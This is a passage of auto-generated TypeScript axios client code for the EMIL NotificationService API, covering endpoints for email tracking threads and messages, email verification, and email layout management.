* Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @type {string}
* @memberof EmailTrackingApiListMessages
*/
readonly order?: string
/**
* Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @type {string}
* @memberof EmailTrackingApiListMessages
*/
readonly expand?: string
}
/**
* Request parameters for listThreads operation in EmailTrackingApi.
* @export
* @interface EmailTrackingApiListThreadsRequest
*/
export interface EmailTrackingApiListThreadsRequest {
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
readonly authorization?: string
/**
* A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @type {number}
* @memberof EmailTrackingApiListThreads
*/
readonly pageSize?: number
/**
* A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
readonly pageToken?: string
/**
* Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
readonly filter?: string
/**
* To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
readonly search?: string
/**
* Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt&lt;/i&gt;
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
readonly order?: string
/**
* Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: messages&lt;i&gt;
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
readonly expand?: string
/**
* Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
readonly filters?: string
}
/**
* EmailTrackingApi - object-oriented interface
* @export
* @class EmailTrackingApi
* @extends {BaseAPI}
*/
export class EmailTrackingApi extends BaseAPI {
/**
* undefined **Required Permissions** \"notification-management.email-messages.update\"
* @param {EmailTrackingApiCloseThreadRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailTrackingApi
*/
public closeThread(requestParameters: EmailTrackingApiCloseThreadRequest, options?: AxiosRequestConfig) {
return EmailTrackingApiFp(this.configuration).closeThread(requestParameters.code, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {EmailTrackingApiGetThreadRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailTrackingApi
*/
public getThread(requestParameters: EmailTrackingApiGetThreadRequest, options?: AxiosRequestConfig) {
return EmailTrackingApiFp(this.configuration).getThread(requestParameters.code, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
/**
* Lists all email messages for a thread **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {EmailTrackingApiListMessagesRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailTrackingApi
*/
public listMessages(requestParameters: EmailTrackingApiListMessagesRequest, options?: AxiosRequestConfig) {
return EmailTrackingApiFp(this.configuration).listMessages(requestParameters.code, requestParameters.authorization, requestParameters.filter, requestParameters.filters, requestParameters.order, requestParameters.expand, options).then((request) => request(this.axios, this.basePath));
}
/**
* Lists all email threads with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email threads
* @param {EmailTrackingApiListThreadsRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailTrackingApi
*/
public listThreads(requestParameters: EmailTrackingApiListThreadsRequest = {}, options?: AxiosRequestConfig) {
return EmailTrackingApiFp(this.configuration).listThreads(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then((request) => request(this.axios, this.basePath));
}
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
// Some imports not used depending on template conditions
// @ts-ignore
import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common';
// @ts-ignore
import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base';
// @ts-ignore
import { CompleteEmailVerificationDto } from '../models';
// @ts-ignore
import { CompleteEmailVerificationResponseClass } from '../models';
// @ts-ignore
import { InitiateEmailVerificationDto } from '../models';
// @ts-ignore
import { InitiateEmailVerificationResponseClass } from '../models';
// URLSearchParams not necessarily used
// @ts-ignore
import { URL, URLSearchParams } from 'url';
const FormData = require('form-data');
/**
* EmailVerificationsApi - axios parameter creator
* @export
*/
export const EmailVerificationsApiAxiosParamCreator = function (configuration?: Configuration) {
return {
/**
* undefined **Required Permissions** none
* @param {CompleteEmailVerificationDto} completeEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
completeEmailVerification: async (completeEmailVerificationDto: CompleteEmailVerificationDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'completeEmailVerificationDto' is not null or undefined
assertParamExists('completeEmailVerification', 'completeEmailVerificationDto', completeEmailVerificationDto)
const localVarPath = `/notificationservice/v1/email-verification/complete`;
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'POST', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
localVarRequestOptions.data = serializeDataIfNeeded(completeEmailVerificationDto, localVarRequestOptions, configuration)
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* undefined **Required Permissions** none
* @param {InitiateEmailVerificationDto} initiateEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
initiateEmailVerification: async (initiateEmailVerificationDto: InitiateEmailVerificationDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'initiateEmailVerificationDto' is not null or undefined
assertParamExists('initiateEmailVerification', 'initiateEmailVerificationDto', initiateEmailVerificationDto)
const localVarPath = `/notificationservice/v1/email-verification/initiate`;
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'POST', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
localVarRequestOptions.data = serializeDataIfNeeded(initiateEmailVerificationDto, localVarRequestOptions, configuration)
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
}
};
/**
* EmailVerificationsApi - functional programming interface
* @export
*/
export const EmailVerificationsApiFp = function(configuration?: Configuration) {
const localVarAxiosParamCreator = EmailVerificationsApiAxiosParamCreator(configuration)
return {
/**
* undefined **Required Permissions** none
* @param {CompleteEmailVerificationDto} completeEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async completeEmailVerification(completeEmailVerificationDto: CompleteEmailVerificationDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CompleteEmailVerificationResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.completeEmailVerification(completeEmailVerificationDto, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* undefined **Required Permissions** none
* @param {InitiateEmailVerificationDto} initiateEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async initiateEmailVerification(initiateEmailVerificationDto: InitiateEmailVerificationDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<InitiateEmailVerificationResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.initiateEmailVerification(initiateEmailVerificationDto, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
}
};
/**
* EmailVerificationsApi - factory interface
* @export
*/
export const EmailVerificationsApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) {
const localVarFp = EmailVerificationsApiFp(configuration)
return {
/**
* undefined **Required Permissions** none
* @param {CompleteEmailVerificationDto} completeEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
completeEmailVerification(completeEmailVerificationDto: CompleteEmailVerificationDto, authorization?: string, options?: any): AxiosPromise<CompleteEmailVerificationResponseClass> {
return localVarFp.completeEmailVerification(completeEmailVerificationDto, authorization, options).then((request) => request(axios, basePath));
},
/**
* undefined **Required Permissions** none
* @param {InitiateEmailVerificationDto} initiateEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
initiateEmailVerification(initiateEmailVerificationDto: InitiateEmailVerificationDto, authorization?: string, options?: any): AxiosPromise<InitiateEmailVerificationResponseClass> {
return localVarFp.initiateEmailVerification(initiateEmailVerificationDto, authorization, options).then((request) => request(axios, basePath));
},
};
};
/**
* Request parameters for completeEmailVerification operation in EmailVerificationsApi.
* @export
* @interface EmailVerificationsApiCompleteEmailVerificationRequest
*/
export interface EmailVerificationsApiCompleteEmailVerificationRequest {
/**
*
* @type {CompleteEmailVerificationDto}
* @memberof EmailVerificationsApiCompleteEmailVerification
*/
readonly completeEmailVerificationDto: CompleteEmailVerificationDto
/**
* Bearer Token
* @type {string}
* @memberof EmailVerificationsApiCompleteEmailVerification
*/
readonly authorization?: string
}
/**
* Request parameters for initiateEmailVerification operation in EmailVerificationsApi.
* @export
* @interface EmailVerificationsApiInitiateEmailVerificationRequest
*/
export interface EmailVerificationsApiInitiateEmailVerificationRequest {
/**
*
* @type {InitiateEmailVerificationDto}
* @memberof EmailVerificationsApiInitiateEmailVerification
*/
readonly initiateEmailVerificationDto: InitiateEmailVerificationDto
/**
* Bearer Token
* @type {string}
* @memberof EmailVerificationsApiInitiateEmailVerification
*/
readonly authorization?: string
}
/**
* EmailVerificationsApi - object-oriented interface
* @export
* @class EmailVerificationsApi
* @extends {BaseAPI}
*/
export class EmailVerificationsApi extends BaseAPI {
/**
* undefined **Required Permissions** none
* @param {EmailVerificationsApiCompleteEmailVerificationRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailVerificationsApi
*/
public completeEmailVerification(requestParameters: EmailVerificationsApiCompleteEmailVerificationRequest, options?: AxiosRequestConfig) {
return EmailVerificationsApiFp(this.configuration).completeEmailVerification(requestParameters.completeEmailVerificationDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
/**
* undefined **Required Permissions** none
* @param {EmailVerificationsApiInitiateEmailVerificationRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailVerificationsApi
*/
public initiateEmailVerification(requestParameters: EmailVerificationsApiInitiateEmailVerificationRequest, options?: AxiosRequestConfig) {
return EmailVerificationsApiFp(this.configuration).initiateEmailVerification(requestParameters.initiateEmailVerificationDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath));
}
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
// Some imports not used depending on template conditions
// @ts-ignore
import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common';
// @ts-ignore
import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base';
// @ts-ignore
import { CreateLayoutRequestDto } from '../models';
// @ts-ignore
import { CreateLayoutResponseClass } from '../models';
// @ts-ignore
import { GetLayoutResponseClass } from '../models';
// @ts-ignore
import { ListLayoutsResponseClass } from '../models';
// @ts-ignore
import { UpdateLayoutRequestDto } from '../models';
// @ts-ignore
import { UpdateLayoutResponseClass } from '../models';
// URLSearchParams not necessarily used
// @ts-ignore
import { URL, URLSearchParams } from 'url';
const FormData = require('form-data');
/**
* LayoutsApi - axios parameter creator
* @export
*/
export const LayoutsApiAxiosParamCreator = function (configuration?: Configuration) {
return {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateLayoutRequestDto} createLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createLayout: async (createLayoutRequestDto: CreateLayoutRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'createLayoutRequestDto' is not null or undefined
assertParamExists('createLayout', 'createLayoutRequestDto', createLayoutRequestDto)
const localVarPath = `/notificationservice/v1/layouts`;
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'POST', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
localVarRequestOptions.data = serializeDataIfNeeded(createLayoutRequestDto, localVarRequestOptions, configuration)
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteLayout: async (id: number, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'id' is not null or undefined
assertParamExists('deleteLayout', 'id', id)
const localVarPath = `/notificationservice/v1/layouts/{id}`
.replace(`{${"id"}}`, encodeURIComponent(String(id)));
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'DELETE', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2 Layout id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getLayout: async (id: number, id2: number, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'id' is not null or undefined
assertParamExists('getLayout', 'id', id)
// verify required parameter 'id2' is not null or undefined
assertParamExists('getLayout', 'id2', id2)
const localVarPath = `/notificationservice/v1/layouts/{id}`
.replace(`{${"id"}}`, encodeURIComponent(String(id)));
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (id2 !== undefined) {
localVarQueryParameter['id'] = id2;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listLayouts: async (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
const localVarPath = `/notificationservice/v1/layouts`;
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (pageSize !== undefined) {
localVarQueryParameter['pageSize'] = pageSize;
}
if (pageToken !== undefined) {
localVarQueryParameter['pageToken'] = pageToken;
}
if (filter !== undefined) {
localVarQueryParameter['filter'] = filter;
}
if (search !== undefined) {
localVarQueryParameter['search'] = search;
}
if (order !== undefined) {
localVarQueryParameter['order'] = order;
}
if (expand !== undefined) {
localVarQueryParameter['expand'] = expand;
}
if (filters !== undefined) {
localVarQueryParameter['filters'] = filters;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateLayoutRequestDto} updateLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateLayout: async (id: number, updateLayoutRequestDto: UpdateLayoutRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
// verify required parameter 'id' is not null or undefined
assertParamExists('updateLayout', 'id', id)
// verify required parameter 'updateLayoutRequestDto' is not null or undefined
assertParamExists('updateLayout', 'updateLayoutRequestDto', updateLayoutRequestDto)
const localVarPath = `/notificationservice/v1/layouts/{id}`
.replace(`{${"id"}}`, encodeURIComponent(String(id)));
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'PUT', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
// authentication bearer required
// http bearer authentication required
await setBearerAuthToObject(localVarHeaderParameter, configuration)
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
localVarRequestOptions.data = serializeDataIfNeeded(updateLayoutRequestDto, localVarRequestOptions, configuration)
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
}
};
/**
* LayoutsApi - functional programming interface
* @export
*/
export const LayoutsApiFp = function(configuration?: Configuration) {
const localVarAxiosParamCreator = LayoutsApiAxiosParamCreator(configuration)
return {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateLayoutRequestDto} createLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async createLayout(createLayoutRequestDto: CreateLayoutRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateLayoutResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.createLayout(createLayoutRequestDto, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async deleteLayout(id: number, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<object>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.deleteLayout(id, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2 Layout id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async getLayout(id: number, id2: number, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetLayoutResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.getLayout(id, id2, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async listLayouts(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListLayoutsResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.listLayouts(authorization, pageSize, pageToken, filter, search, order, expand, filters, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateLayoutRequestDto} updateLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async updateLayout(id: number, updateLayoutRequestDto: UpdateLayoutRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<UpdateLayoutResponseClass>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.updateLayout(id, updateLayoutRequestDto, authorization, options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
}
};
/**
* LayoutsApi - factory interface
* @export
*/
export const LayoutsApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) {
const localVarFp = LayoutsApiFp(configuration)
return {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateLayoutRequestDto} createLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createLayout(createLayoutRequestDto: CreateLayoutRequestDto, authorization?: string, options?: any): AxiosPromise<CreateLayoutResponseClass> {
return localVarFp.createLayout(createLayoutRequestDto, authorization, options).then((request) => request(axios, basePath));
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteLayout(id: number, authorization?: string, options?: any): AxiosPromise<object> {
return localVarFp.deleteLayout(id, authorization, options).then((request) => request(axios, basePath));
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
